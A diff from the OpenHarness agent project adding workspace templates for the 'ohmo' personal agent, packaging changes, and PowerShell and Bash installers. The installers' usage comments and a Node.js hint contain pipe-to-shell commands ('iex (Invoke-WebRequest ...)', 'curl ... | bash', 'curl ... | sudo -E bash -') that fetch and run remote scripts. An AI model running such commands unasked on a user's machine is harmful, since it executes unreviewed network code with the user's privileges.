dedicated memory file.
Remember: learn enough to help well, not to build a dossier.
"""
IDENTITY_TEMPLATE = """# IDENTITY.md - Your Shape
- Name: ohmo
- Kind: personal agent
- Vibe: calm, capable, warm when useful
- Signature:
Keep this short and concrete. Update it when the user and the agent have a
clearer shared sense of who ohmo is.
"""
BOOTSTRAP_TEMPLATE = """# BOOTSTRAP.md - First Contact
You just came online in a fresh personal workspace.
Your job is not to interrogate the user. Start naturally, then learn just
enough to become useful.
## Goals for this first conversation
1. Figure out who you are to this user.
- What should they call you?
- What kind of assistant relationship feels right?
- What tone should you have?
2. Learn the essentials about the user.
- How should you address them?
- What timezone are they in?
- What are they working on lately?
- What kind of help do they want most often?
3. Make the workspace real.
- Update `IDENTITY.md`
- Update `user.md`
- If something durable matters, write it into `memory/`
## Style
- Don't dump a questionnaire.
- Start with a simple, human opening.
- Ask a few high-value questions, not twenty low-value ones.
- Offer suggestions when the user is unsure.
## When done
Once the initial landing is complete, this file can be deleted.
If it is gone later, do not assume it should come back.
"""
MEMORY_INDEX_TEMPLATE = """# Memory Index
- Add durable personal facts and preferences as focused markdown files in this directory.
- Keep entries concise and update this index as the memory corpus grows.
"""
def get_workspace_root(workspace: str | Path | None = None) -> Path:
"""Return the ohmo workspace root.
Resolution order:
1. Explicit ``workspace`` argument
2. ``OHMO_WORKSPACE`` environment variable
3. ``~/.ohmo``
"""
explicit = workspace or os.environ.get("OHMO_WORKSPACE")
if explicit:
path = Path(explicit).expanduser().resolve()
return path if path.name == WORKSPACE_DIRNAME else path
return (Path.home() / WORKSPACE_DIRNAME).resolve()
def get_soul_path(workspace: str | Path | None = None) -> Path:
return get_workspace_root(workspace) / "soul.md"
def get_user_path(workspace: str | Path | None = None) -> Path:
return get_workspace_root(workspace) / "user.md"
def get_identity_path(workspace: str | Path | None = None) -> Path:
return get_workspace_root(workspace) / "identity.md"
def get_bootstrap_path(workspace: str | Path | None = None) -> Path:
return get_workspace_root(workspace) / "BOOTSTRAP.md"
def get_memory_dir(workspace: str | Path | None = None) -> Path:
return get_workspace_root(workspace) / "memory"
def get_skills_dir(workspace: str | Path | None = None) -> Path:
return get_workspace_root(workspace) / "skills"
def get_plugins_dir(workspace: str | Path | None = None) -> Path:
return get_workspace_root(workspace) / "plugins"
def get_groups_dir(workspace: str | Path | None = None) -> Path:
return get_workspace_root(workspace) / "groups"
def get_memory_index_path(workspace: str | Path | None = None) -> Path:
return get_memory_dir(workspace) / "MEMORY.md"
def get_sessions_dir(workspace: str | Path | None = None) -> Path:
return get_workspace_root(workspace) / "sessions"
def get_logs_dir(workspace: str | Path | None = None) -> Path:
return get_workspace_root(workspace) / "logs"
def get_attachments_dir(workspace: str | Path | None = None) -> Path:
return get_workspace_root(workspace) / "attachments"
def get_state_path(workspace: str | Path | None = None) -> Path:
return get_workspace_root(workspace) / "state.json"
def get_gateway_config_path(workspace: str | Path | None = None) -> Path:
return get_workspace_root(workspace) / "gateway.json"
def get_gateway_restart_notice_path(workspace: str | Path | None = None) -> Path:
return get_workspace_root(workspace) / "gateway-restart-notice.json"
def ensure_workspace(workspace: str | Path | None = None) -> Path:
"""Create the workspace if needed and return its root."""
root = get_workspace_root(workspace)
root.mkdir(parents=True, exist_ok=True)
get_memory_dir(root).mkdir(parents=True, exist_ok=True)
get_skills_dir(root).mkdir(parents=True, exist_ok=True)
get_plugins_dir(root).mkdir(parents=True, exist_ok=True)
get_groups_dir(root).mkdir(parents=True, exist_ok=True)
get_sessions_dir(root).mkdir(parents=True, exist_ok=True)
get_logs_dir(root).mkdir(parents=True, exist_ok=True)
get_attachments_dir(root).mkdir(parents=True, exist_ok=True)
return root
def initialize_workspace(workspace: str | Path | None = None) -> Path:
"""Create the workspace and seed template files when missing."""
root = ensure_workspace(workspace)
templates = {
get_soul_path(root): SOUL_TEMPLATE,
get_user_path(root): USER_TEMPLATE,
get_memory_index_path(root): MEMORY_INDEX_TEMPLATE,
get_identity_path(root): IDENTITY_TEMPLATE,
}
for path, content in templates.items():
if not path.exists():
path.write_text(content.strip() + "\n", encoding="utf-8")
state_path = get_state_path(root)
state_data = {"app": "ohmo", "workspace": str(root.resolve())}
if not state_path.exists():
state_path.write_text(json.dumps(state_data, indent=2) + "\n", encoding="utf-8")
else:
try:
state_data = json.loads(state_path.read_text(encoding="utf-8"))
except json.JSONDecodeError:
state_data = {"app": "ohmo", "workspace": str(root.resolve())}
bootstrap_path = get_bootstrap_path(root)
if not state_data.get("bootstrap_seeded"):
state_data["bootstrap_seeded"] = True
if not bootstrap_path.exists():
bootstrap_path.write_text(BOOTSTRAP_TEMPLATE.strip() + "\n", encoding="utf-8")
state_path.write_text(json.dumps(state_data, indent=2) + "\n", encoding="utf-8")
gateway_path = get_gateway_config_path(root)
if not gateway_path.exists():
gateway_path.write_text(
json.dumps(
{
"provider_profile": "codex",
"enabled_channels": [],
"session_routing": "chat-thread",
"send_progress": True,
"send_tool_hints": True,
"permission_mode": "default",
"sandbox_enabled": False,
"allow_remote_admin_commands": False,
"allowed_remote_admin_commands": [],
"log_level": "INFO",
"channel_configs": {},
},
indent=2,
)
+ "\n",
encoding="utf-8",
)
return root
def workspace_health(workspace: str | Path | None = None) -> dict[str, bool]:
"""Return presence checks for the key workspace assets."""
root = get_workspace_root(workspace)
return {
"workspace": root.exists(),
"soul": get_soul_path(root).exists(),
"user": get_user_path(root).exists(),
"identity": get_identity_path(root).exists(),
"memory_dir": get_memory_dir(root).exists(),
"skills_dir": get_skills_dir(root).exists(),
"plugins_dir": get_plugins_dir(root).exists(),
"groups_dir": get_groups_dir(root).exists(),
"memory_index": get_memory_index_path(root).exists(),
"sessions_dir": get_sessions_dir(root).exists(),
"gateway_config": get_gateway_config_path(root).exists(),
}
+31 -3
View File
@@ -3,9 +3,10 @@ requires = ["hatchling"]
build-backend = "hatchling.build"
[project]
name = "openharness"
version = "0.1.0"
name = "openharness-ai"
version = "0.1.9"
description = "Open-source Python port of Claude Code - an AI-powered CLI coding assistant"
readme = "README.md"
license = "MIT"
requires-python = ">=3.10"
authors = [
@@ -14,6 +15,7 @@ authors = [
dependencies = [
"anthropic>=0.40.0",
"openai>=1.0.0",
"rich>=13.0.0",
"prompt-toolkit>=3.0.0",
"textual>=0.80.0",
@@ -24,7 +26,13 @@ dependencies = [
"mcp>=1.0.0",
"pyperclip>=1.9.0",
"pyyaml>=6.0",
"questionary>=2.0.1",
"watchfiles>=0.20.0",
"croniter>=2.0.0",
"slack-sdk>=3.0.0",
"python-telegram-bot>=21.0.0",
"discord.py>=2.0.0",
"lark-oapi>=1.5.0",
]
[project.optional-dependencies]
@@ -40,9 +48,29 @@ dev = [
[project.scripts]
openharness = "openharness.cli:app"
oh = "openharness.cli:app"
openh = "openharness.cli:app"
ohmo = "ohmo.cli:app"
[tool.hatch.build.targets.wheel]
packages = ["src/openharness"]
packages = ["src/openharness", "ohmo"]
[tool.hatch.build]
exclude = [
"/.git",
"/.venv",
"/.openharness-venv",
"/.openharness",
"/.pytest_cache",
"/.mypy_cache",
"/.ruff_cache",
"/build",
"/dist",
]
[tool.hatch.build.targets.wheel.force-include]
"frontend/terminal/package.json" = "openharness/_frontend/package.json"
"frontend/terminal/tsconfig.json" = "openharness/_frontend/tsconfig.json"
"frontend/terminal/src" = "openharness/_frontend/src"
[tool.pytest.ini_options]
testpaths = ["tests"]
+329
View File
@@ -0,0 +1,329 @@
# OpenHarness Windows Installer (PowerShell)
# Usage: iex (Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/HKUDS/OpenHarness/main/scripts/install.ps1')
# or: powershell -ExecutionPolicy Bypass -File scripts/install.ps1
param(
[switch]$FromSource,
[switch]$WithChannels,
[switch]$Help
)
# ---------------------------------------------------------------------------
# Helper functions
# ---------------------------------------------------------------------------
function Write-Info { Write-Host "[INFO] $args" -ForegroundColor Cyan }
function Write-Success { Write-Host "[OK] $args" -ForegroundColor Green }
function Write-Warn { Write-Host "[WARN] $args" -ForegroundColor Yellow }
function Write-Error { Write-Host "[ERROR] $args" -ForegroundColor Red }
function Write-Step { Write-Host ""; Write-Host "==>$args" -ForegroundColor Blue -BackgroundColor White }
# ---------------------------------------------------------------------------
# Banner
# ---------------------------------------------------------------------------
Write-Host ""
Write-Host " ==============================" -ForegroundColor Cyan
Write-Host " OpenHarness Installer" -ForegroundColor Cyan
Write-Host " Windows Native Setup" -ForegroundColor Cyan
Write-Host " ==============================" -ForegroundColor Cyan
Write-Host ""
# ---------------------------------------------------------------------------
# Parse arguments
# ---------------------------------------------------------------------------
if ($Help) {
Write-Host "Usage: .\install.ps1 [-FromSource] [-WithChannels]"
Write-Host ""
Write-Host " -FromSource Clone from GitHub and install in editable mode"
Write-Host " -WithChannels Deprecated compatibility flag (dependencies installed by default)"
exit 0
}
if ($WithChannels) {
Write-Warn "-WithChannels is no longer required; common IM channel dependencies are installed by default."
}
# ---------------------------------------------------------------------------
# Step 1: Check PowerShell version
# ---------------------------------------------------------------------------
Write-Step "Checking PowerShell version"
if ($PSVersionTable.PSVersion.Major -lt 5) {
Write-Error "PowerShell 5.1 or newer is required."
Write-Host " Please upgrade PowerShell or use PowerShell Core (pwsh):"
Write-Host " https://github.com/PowerShell/PowerShell"
exit 1
}
Write-Success "PowerShell $($PSVersionTable.PSVersion) detected"
# ---------------------------------------------------------------------------
# Step 2: Check Python 3.10+
# ---------------------------------------------------------------------------
Write-Step "Checking Python version (3.10+ required)"
$PythonCmd = $null
$PythonCommands = @("python", "python3", "py")
foreach ($cmd in $PythonCommands) {
$pyPath = Get-Command $cmd -ErrorAction SilentlyContinue
if ($pyPath) {
$versionOutput = & $cmd --version 2>&1
$versionMatch = $versionOutput -match "Python (\d+)\.(\d+)"
if ($versionMatch) {
$major = [int]$matches[1]
$minor = [int]$matches[2]
if ($major -ge 3 -and $minor -ge 10) {
$PythonCmd = $cmd
break
} elseif ($major -eq 3 -and $minor -lt 10) {
Write-Warn "Python $major.$minor found but version 3.10+ is required"
}
}
}
}
if (-not $PythonCmd) {
Write-Error "Python 3.10+ not found."
Write-Host ""
Write-Host " Please install Python 3.10 or newer:"
Write-Host " Download from: https://www.python.org/downloads/"
Write-Host " Or use winget: winget install Python.Python.3.12"
Write-Host ""
exit 1
}
$PyVersion = & $PythonCmd --version 2>&1
Write-Success "Found $PyVersion ($PythonCmd)"
# ---------------------------------------------------------------------------
# Step 3: Check Node.js >= 18 (optional)
# ---------------------------------------------------------------------------
Write-Step "Checking Node.js version (>= 18 required for React TUI)"
$NodeOk = $false
$NodePath = Get-Command node -ErrorAction SilentlyContinue
if ($NodePath) {
$NodeVersionOutput = & node --version 2>&1
$NodeVersionMatch = $NodeVersionOutput -match "v(\d+)"
if ($NodeVersionMatch) {
$NodeMajor = [int]$matches[1]
if ($NodeMajor -ge 18) {
$NodeOk = $true
Write-Success "Found Node.js $NodeVersionOutput"
} else {
Write-Warn "Node.js $NodeVersionOutput is too old (need >= 18). React TUI will be skipped."
}
}
} else {
Write-Warn "Node.js not found. React TUI will be skipped."
Write-Host " To enable the React terminal UI, install Node.js 18+:"
Write-Host " Download from: https://nodejs.org/"
Write-Host " Or use winget: winget install OpenJS.NodeJS.LTS"
}
# ---------------------------------------------------------------------------
# Step 4: Install OpenHarness
# ---------------------------------------------------------------------------
Write-Step "Installing OpenHarness"
$RepoUrl = "https://github.com/HKUDS/OpenHarness.git"
$InstallDir = "$env:USERPROFILE\.openharness-src"
$VenvDir = "$env:USERPROFILE\.openharness-venv"
# Create virtual environment
if (Test-Path $VenvDir) {
Write-Info "Virtual environment already exists at $VenvDir"
} else {
Write-Info "Creating virtual environment at $VenvDir..."
& $PythonCmd -m venv $VenvDir
if (-not (Test-Path $VenvDir)) {
Write-Error "Failed to create virtual environment"
exit 1
}
}
# Activate the venv
$ActivateScript = "$VenvDir\Scripts\Activate.ps1"
if (-not (Test-Path $ActivateScript)) {
Write-Error "Virtual environment activation script not found: $ActivateScript"
exit 1
}
Write-Info "Activating virtual environment..."
& $ActivateScript
Write-Success "Virtual environment ready: $VenvDir"
# Install OpenHarness
if ($FromSource) {
Write-Info "Mode: -FromSource (git clone + pip install -e .)"
$GitPath = Get-Command git -ErrorAction SilentlyContinue
if (-not $GitPath) {
Write-Error "git is required for -FromSource installation."
Write-Host " Install git and retry:"
Write-Host " winget install Git.Git"
Write-Host " Or download from: https://git-scm.com/download/win"
exit 1
}
if (Test-Path "$InstallDir\.git") {
Write-Info "Source directory exists, pulling latest changes..."
Push-Location $InstallDir
git pull --ff-only
Pop-Location
} else {
Write-Info "Cloning OpenHarness into $InstallDir..."
git clone $RepoUrl $InstallDir
if (-not (Test-Path $InstallDir)) {
Write-Error "Failed to clone repository"
exit 1
}
}
Write-Info "Installing in editable mode (pip install -e .)..."
pip install -e $InstallDir --quiet
} else {
Write-Info "Mode: pip install openharness-ai"
pip install openharness-ai --quiet --upgrade
}
Write-Success "OpenHarness package installed"
# ---------------------------------------------------------------------------
# Step 5: Install frontend/terminal npm dependencies
# ---------------------------------------------------------------------------
if ($NodeOk) {
if ($FromSource) {
$FrontendDir = "$InstallDir\frontend\terminal"
} else {
# Find installed package location
$PackageInfo = pip show openharness-ai 2>&1
$LocationMatch = $PackageInfo -match "Location: (.+)"
if ($LocationMatch) {
$PackageLocation = $matches[1].Trim()
$FrontendDir = "$PackageLocation\openharness\_frontend"
} else {
$FrontendDir = $null
}
}
if ($FrontendDir -and (Test-Path "$FrontendDir\package.json")) {
Write-Step "Installing React TUI dependencies"
Write-Info "Running npm install in $FrontendDir..."
Push-Location $FrontendDir
npm install --no-fund --no-audit --silent 2>&1 | Out-Null
Pop-Location
Write-Success "React TUI dependencies installed"
} else {
Write-Info "No frontend/terminal directory found - skipping npm install"
}
}
# ---------------------------------------------------------------------------
# Step 6: Create OpenHarness config directory
# ---------------------------------------------------------------------------
Write-Step "Setting up OpenHarness config directory"
$ConfigDir = "$env:USERPROFILE\.openharness"
$SkillsDir = "$ConfigDir\skills"
$PluginsDir = "$ConfigDir\plugins"
New-Item -ItemType Directory -Force -Path $ConfigDir | Out-Null
New-Item -ItemType Directory -Force -Path $SkillsDir | Out-Null
New-Item -ItemType Directory -Force -Path $PluginsDir | Out-Null
Write-Success "Config directory ready: ~/.openharness/"
# ---------------------------------------------------------------------------
# Step 7: Add to PATH (Windows environment variable)
# ---------------------------------------------------------------------------
Write-Step "Setting up PATH integration"
$VenvBinDir = "$VenvDir\Scripts"
$CurrentPath = [Environment]::GetEnvironmentVariable("PATH", "User")
if ($CurrentPath -like "*$VenvBinDir*") {
Write-Info "PATH already contains $VenvBinDir"
} else {
Write-Info "Adding $VenvBinDir to user PATH..."
$NewPath = "$VenvBinDir;$CurrentPath"
[Environment]::SetEnvironmentVariable("PATH", $NewPath, "User")
Write-Success "Added $VenvBinDir to PATH"
Write-Warn "You may need to restart your terminal or log out/log in for PATH changes to take effect."
}
# ---------------------------------------------------------------------------
# Step 8: Verify installation
# ---------------------------------------------------------------------------
Write-Step "Verifying installation"
$OhPath = "$VenvBinDir\oh.exe"
$OpenhPath = "$VenvBinDir\openh.exe"
$OpenharnessPath = "$VenvBinDir\openharness.exe"
$OhmoPath = "$VenvBinDir\ohmo.exe"
# Pick the best available launcher. The 'openh' alias was added after v0.1.6,
# so PyPI installs of older releases won't have openh.exe. Prefer it when
# present, otherwise fall back to 'openharness', then 'oh' (which collides
# with PowerShell's Out-Host alias unless invoked as oh.exe).
$Launcher = $null
$LauncherExe = $null
if (Test-Path $OpenhPath) {
$Launcher = "openh"
$LauncherExe = $OpenhPath
} elseif (Test-Path $OpenharnessPath) {
$Launcher = "openharness"
$LauncherExe = $OpenharnessPath
} elseif (Test-Path $OhPath) {
$Launcher = "oh"
$LauncherExe = $OhPath
}
if ($LauncherExe -and (Test-Path $OhmoPath)) {
$OhVersion = & $LauncherExe --version 2>&1
Write-Success "Installation successful!"
Write-Host ""
Write-Host " $Launcher is ready: $OhVersion" -ForegroundColor Green
if ($Launcher -eq "oh") {
Write-Host " Note: 'oh' collides with PowerShell's built-in Out-Host alias." -ForegroundColor Yellow
Write-Host " Invoke it as 'oh.exe', or use 'openharness' instead." -ForegroundColor Yellow
} elseif (Test-Path $OhPath) {
Write-Host " 'oh' is also installed, but PowerShell may resolve it to Out-Host first." -ForegroundColor Yellow
}
Write-Host " ohmo is ready" -ForegroundColor Green
} else {
# Try module execution
$ModuleVersion = python -m openharness --version 2>&1
if ($ModuleVersion) {
Write-Warn "Launcher commands not yet available on PATH. Run via: python -m openharness"
Write-Host " Version: $ModuleVersion"
} else {
Write-Warn "Could not verify launcher commands. The package may need a PATH update."
Write-Host " Try: python -m openharness --version"
}
}
# ---------------------------------------------------------------------------
# Done
# ---------------------------------------------------------------------------
Write-Host ""
Write-Host "OpenHarness is installed!" -ForegroundColor Green -BackgroundColor White
Write-Host ""
Write-Host " Next steps:"
Write-Host " 1. Restart terminal, or run: refreshenv (if using Chocolatey)"
Write-Host " Or manually refresh: `$env:PATH = [System.Environment]::GetEnvironmentVariable('PATH','User')"
Write-Host " 2. Set your API key: `$env:ANTHROPIC_API_KEY = 'your_key'"
if ($Launcher -eq "openharness") {
Write-Host " 3. Launch (PowerShell): openharness"
Write-Host " ('openh' is not available on this release; 'oh' collides with PowerShell's Out-Host alias.)"
} elseif ($Launcher -eq "oh") {
Write-Host " 3. Launch (PowerShell): oh.exe"
Write-Host " ('oh' alone collides with PowerShell's Out-Host alias — use 'oh.exe' or 'openharness'.)"
} else {
Write-Host " 3. Launch (PowerShell): openh"
Write-Host " Note: 'oh' may collide with the built-in Out-Host alias in PowerShell."
}
Write-Host " 4. Launch ohmo: ohmo"
Write-Host " 5. Docs: https://github.com/HKUDS/OpenHarness"
Write-Host ""
+387
View File
@@ -0,0 +1,387 @@
#!/usr/bin/env bash
# OpenHarness one-click installer
# Usage: curl -fsSL https://raw.githubusercontent.com/HKUDS/OpenHarness/main/scripts/install.sh | bash
# bash scripts/install.sh [--from-source] [--with-channels]
set -euo pipefail
# ---------------------------------------------------------------------------
# Colors
# ---------------------------------------------------------------------------
if [ -t 1 ]; then
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
BOLD='\033[1m'
RESET='\033[0m'
else
RED='' GREEN='' YELLOW='' BLUE='' CYAN='' BOLD='' RESET=''
fi
info() { echo -e "${CYAN}[INFO]${RESET} $*"; }
success() { echo -e "${GREEN}[OK]${RESET} $*"; }
warn() { echo -e "${YELLOW}[WARN]${RESET} $*"; }
error() { echo -e "${RED}[ERROR]${RESET} $*" >&2; }
step() { echo -e "\n${BOLD}${BLUE}==>${RESET}${BOLD} $*${RESET}"; }
# ---------------------------------------------------------------------------
# Parse arguments
# ---------------------------------------------------------------------------
FROM_SOURCE=false
WITH_CHANNELS=false
for arg in "$@"; do
case "$arg" in
--from-source) FROM_SOURCE=true ;;
--with-channels) WITH_CHANNELS=true ;;
--help|-h)
echo "Usage: $0 [--from-source] [--with-channels]"
echo ""
echo " --from-source Clone from GitHub and install in editable mode"
echo " --with-channels Deprecated compatibility flag."
echo " Common IM channel dependencies are installed by default."
exit 0
;;
*)
error "Unknown argument: $arg"
exit 1
;;
esac
done
# ---------------------------------------------------------------------------
# Banner
# ---------------------------------------------------------------------------
echo ""
echo -e "${BOLD}${CYAN} ██████╗ ██╗ ██╗${RESET}"
echo -e "${BOLD}${CYAN} ██╔═══██╗██║ ██║${RESET}"
echo -e "${BOLD}${CYAN} ██║ ██║███████║${RESET} OpenHarness Installer"
echo -e "${BOLD}${CYAN} ██║ ██║██╔══██║${RESET} Open Agent Harness"
echo -e "${BOLD}${CYAN} ╚██████╔╝██║ ██║${RESET}"
echo -e "${BOLD}${CYAN} ╚═════╝ ╚═╝ ╚═╝${RESET}"
echo ""
# ---------------------------------------------------------------------------
# Step 1: Detect OS
# ---------------------------------------------------------------------------
step "Detecting operating system"
OS_TYPE="unknown"
if [[ "$OSTYPE" == "linux-gnu"* ]]; then
# Check for WSL
if grep -qi microsoft /proc/version 2>/dev/null; then
OS_TYPE="WSL"
else
OS_TYPE="Linux"
fi
elif [[ "$OSTYPE" == "darwin"* ]]; then
OS_TYPE="macOS"
elif [[ "$OSTYPE" == "msys" || "$OSTYPE" == "cygwin" ]]; then
OS_TYPE="Windows (Git Bash)"
fi
info "OS detected: ${BOLD}${OS_TYPE}${RESET}"
# ---------------------------------------------------------------------------
# Step 2: Check Python >= 3.10
# ---------------------------------------------------------------------------
step "Checking Python version (>= 3.10 required)"
PYTHON_CMD=""
for cmd in python3 python; do
if command -v "$cmd" &>/dev/null; then
PY_VER=$("$cmd" --version 2>&1 | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1)
PY_MAJOR=$(echo "$PY_VER" | cut -d. -f1)
PY_MINOR=$(echo "$PY_VER" | cut -d. -f2)
if [ "${PY_MAJOR}" -ge 3 ] && [ "${PY_MINOR}" -ge 10 ]; then
PYTHON_CMD="$cmd"
break
fi
fi
done
if [ -z "$PYTHON_CMD" ]; then
error "Python 3.10+ not found."
echo ""
echo " Please install Python 3.10 or newer:"
case "$OS_TYPE" in
macOS)
echo " brew install python@3.12"
echo " or download from: https://www.python.org/downloads/"
;;
Linux|WSL)
echo " sudo apt update && sudo apt install -y python3 python3-pip # Debian/Ubuntu"
echo " sudo dnf install -y python3 # Fedora/RHEL"
echo " or download from: https://www.python.org/downloads/"
;;
*)
echo " Download from: https://www.python.org/downloads/"
;;
esac
echo ""
exit 1
fi
PY_VERSION=$("$PYTHON_CMD" --version 2>&1)
success "Found ${PY_VERSION} (${PYTHON_CMD})"
# Determine pip command
PIP_CMD=""
for cmd in pip3 pip; do
if command -v "$cmd" &>/dev/null; then
PIP_CMD="$cmd"
break
fi
done
if [ -z "$PIP_CMD" ]; then
# Try python -m pip
if "$PYTHON_CMD" -m pip --version &>/dev/null 2>&1; then
PIP_CMD="$PYTHON_CMD -m pip"
else
error "pip not found. Please install pip:"
echo " $PYTHON_CMD -m ensurepip --upgrade"
exit 1
fi
fi
# ---------------------------------------------------------------------------
# Step 3: Check Node.js >= 18
# ---------------------------------------------------------------------------
step "Checking Node.js version (>= 18 required for React TUI)"
NODE_OK=false
if command -v node &>/dev/null; then
NODE_VER=$(node --version 2>&1 | grep -oE '[0-9]+' | head -1)
if [ "${NODE_VER}" -ge 18 ] 2>/dev/null; then
NODE_OK=true
success "Found Node.js $(node --version)"
else
warn "Node.js $(node --version) is too old (need >= 18). React TUI will be skipped."
fi
else
warn "Node.js not found. React TUI will be skipped."
echo " To enable the React terminal UI, install Node.js 18+:"
case "$OS_TYPE" in
macOS)
echo " brew install node"
;;
Linux|WSL)
echo " curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -"
echo " sudo apt install -y nodejs"
;;
*)
echo " Download from: https://nodejs.org/"
;;
esac
fi
# ---------------------------------------------------------------------------
# Step 4: Install OpenHarness
# ---------------------------------------------------------------------------
step "Installing OpenHarness"
REPO_URL="https://github.com/HKUDS/OpenHarness.git"
INSTALL_DIR="$HOME/.openharness-src"
VENV_DIR="$HOME/.openharness-venv"
BIN_DIR="$HOME/.local/bin"
# ---------------------------------------------------------------------------
# Create a virtual environment to avoid PEP 668 externally-managed errors
# ---------------------------------------------------------------------------
if [ -d "$VENV_DIR" ] && [ ! -f "$VENV_DIR/bin/activate" ]; then
warn "Found incomplete virtual environment at ${VENV_DIR}; recreating it..."
rm -rf "$VENV_DIR"
fi
if [ ! -f "$VENV_DIR/bin/activate" ]; then
info "Creating virtual environment at ${VENV_DIR}..."
"$PYTHON_CMD" -m venv "$VENV_DIR"
fi
# Activate the venv — all pip installs go here
source "$VENV_DIR/bin/activate"
PYTHON_CMD="python"
PIP_CMD="pip"
success "Virtual environment ready: ${VENV_DIR}"
if [ "$FROM_SOURCE" = true ]; then
info "Mode: --from-source (git clone + pip install -e .)"
if command -v git &>/dev/null; then
if [ -d "$INSTALL_DIR/.git" ]; then
info "Source directory exists, pulling latest changes..."
git -C "$INSTALL_DIR" pull --ff-only
else
info "Cloning OpenHarness into ${INSTALL_DIR}..."
git clone "$REPO_URL" "$INSTALL_DIR"
fi
else
error "git is required for --from-source installation."
echo " Install git and retry:"
case "$OS_TYPE" in
macOS) echo " brew install git" ;;
Linux|WSL) echo " sudo apt install -y git" ;;
esac
exit 1
fi
info "Installing in editable mode (pip install -e .)..."
$PIP_CMD install -e "$INSTALL_DIR" --quiet
else
info "Mode: pip install openharness-ai"
$PIP_CMD install openharness-ai --quiet --upgrade
fi
success "OpenHarness package installed"
# ---------------------------------------------------------------------------
# Step 5: Channel dependencies
# ---------------------------------------------------------------------------
if [ "$WITH_CHANNELS" = true ]; then
step "Channel dependencies"
info "--with-channels is no longer required; common IM channel dependencies are installed by default."
fi
# ---------------------------------------------------------------------------
# Step 6: Install frontend/terminal npm dependencies
# ---------------------------------------------------------------------------
if [ "$NODE_OK" = true ]; then
# Determine the frontend/terminal path
if [ "$FROM_SOURCE" = true ]; then
FRONTEND_DIR="$INSTALL_DIR/frontend/terminal"
else
FRONTEND_DIR="$(pwd)/frontend/terminal"
fi
if [ -d "$FRONTEND_DIR" ] && [ -f "$FRONTEND_DIR/package.json" ]; then
step "Installing React TUI dependencies"
info "Running npm install in ${FRONTEND_DIR}..."
(cd "$FRONTEND_DIR" && npm install --no-fund --no-audit --silent)
success "React TUI dependencies installed"
else
info "No frontend/terminal directory found — skipping npm install"
fi
fi
# ---------------------------------------------------------------------------
# Step 7: Create OpenHarness config directory
# ---------------------------------------------------------------------------
step "Setting up OpenHarness config directory"
mkdir -p "$HOME/.openharness"
mkdir -p "$HOME/.openharness/skills"
mkdir -p "$HOME/.openharness/plugins"
success "Config directory ready: ~/.openharness/"
# ---------------------------------------------------------------------------
# Step 8: Register global commands
# ---------------------------------------------------------------------------
step "Registering global commands"
mkdir -p "$BIN_DIR"
ln -snf "$VENV_DIR/bin/oh" "$BIN_DIR/oh"
ln -snf "$VENV_DIR/bin/ohmo" "$BIN_DIR/ohmo"
ln -snf "$VENV_DIR/bin/openharness" "$BIN_DIR/openharness"
success "Linked oh/ohmo into ${BIN_DIR}"
# ---------------------------------------------------------------------------
# Step 9: Verify installation
# ---------------------------------------------------------------------------
step "Verifying installation"
if [ -x "$BIN_DIR/oh" ] && [ -x "$BIN_DIR/ohmo" ]; then
OH_VERSION=$("$BIN_DIR/oh" --version 2>&1 || echo "(version check failed)")
OHMO_VERSION=$("$BIN_DIR/ohmo" --help >/dev/null 2>&1 && echo "available" || echo "not available")
success "Installation successful!"
echo ""
echo -e " ${BOLD}oh${RESET} is ready: ${GREEN}${OH_VERSION}${RESET}"
echo -e " ${BOLD}ohmo${RESET} is ready: ${GREEN}${OHMO_VERSION}${RESET}"
elif "$PYTHON_CMD" -m openharness --version &>/dev/null 2>&1; then
OH_VERSION=$("$PYTHON_CMD" -m openharness --version 2>&1)
warn "'oh'/'ohmo' command links are not executable yet. Run via: python -m openharness or python -m ohmo"
echo " Version: ${OH_VERSION}"
echo " To add them to PATH, ensure ${BIN_DIR} is in PATH:"
echo " export PATH=\"${BIN_DIR}:\$PATH\""
else
warn "Could not verify 'oh'/'ohmo' commands. The package may need a PATH update."
echo " Try: $PYTHON_CMD -m openharness --version"
echo " Or add ${BIN_DIR} to PATH and restart your shell."
fi
# ---------------------------------------------------------------------------
# Step 10: Add command directory to shell profile
# ---------------------------------------------------------------------------
step "Setting up shell integration"
ACTIVATION_LINE="export PATH=\"$BIN_DIR:\$PATH\""
FISH_CONFIG="$HOME/.config/fish/config.fish"
FISH_BLOCK=$(cat <<EOF
# OpenHarness
if not contains -- "$BIN_DIR" \$PATH
set -gx PATH "$BIN_DIR" \$PATH
end
EOF
)
configured_any=false
append_shell_path() {
local rc_file="$1"
if [ ! -f "$rc_file" ]; then
return
fi
if grep -q "$BIN_DIR" "$rc_file" 2>/dev/null; then
info "PATH already configured in $(basename "$rc_file")"
configured_any=true
return
fi
echo "" >> "$rc_file"
echo "# OpenHarness" >> "$rc_file"
echo "$ACTIVATION_LINE" >> "$rc_file"
success "Added $BIN_DIR to PATH in $(basename "$rc_file")"
configured_any=true
}
append_shell_path "$HOME/.zshrc"
append_shell_path "$HOME/.bashrc"
append_shell_path "$HOME/.bash_profile"
mkdir -p "$(dirname "$FISH_CONFIG")"
if [ -f "$FISH_CONFIG" ] && grep -q "$BIN_DIR" "$FISH_CONFIG" 2>/dev/null; then
info "PATH already configured in $(basename "$FISH_CONFIG")"
configured_any=true
else
echo "" >> "$FISH_CONFIG"
printf "%s\n" "$FISH_BLOCK" >> "$FISH_CONFIG"
success "Added $BIN_DIR to PATH in $(basename "$FISH_CONFIG")"
configured_any=true
fi
if [ "$configured_any" = false ]; then
warn "Could not find shell config file. Add this to your shell profile:"
echo " $ACTIVATION_LINE"
fi
# ---------------------------------------------------------------------------
# Done
# ---------------------------------------------------------------------------
echo ""
echo -e "${BOLD}${GREEN}OpenHarness is installed!${RESET}"
echo ""
echo " Next steps:"
echo " 1. Restart shell, or reload your shell config:"
echo " bash/zsh: source ~/.bashrc (or ~/.zshrc)"
echo " fish: source ~/.config/fish/config.fish"
echo " 2. Set your API key: export ANTHROPIC_API_KEY=your_key"
echo " 3. Launch: oh"
echo " 4. Launch ohmo: ohmo"
echo " 5. Docs: https://github.com/HKUDS/OpenHarness"
echo ""
echo " Notes:"
echo " - Commands are linked into: ${BIN_DIR}"
echo " - The virtual environment remains at: ${VENV_DIR}"
echo ""
+181
View File
@@ -0,0 +1,181 @@
#!/usr/bin/env bash
# Developer install for the current checkout.
# Usage:
# bash scripts/install_dev.sh
# bash scripts/install_dev.sh --global-venv
# bash scripts/install_dev.sh --with-channels
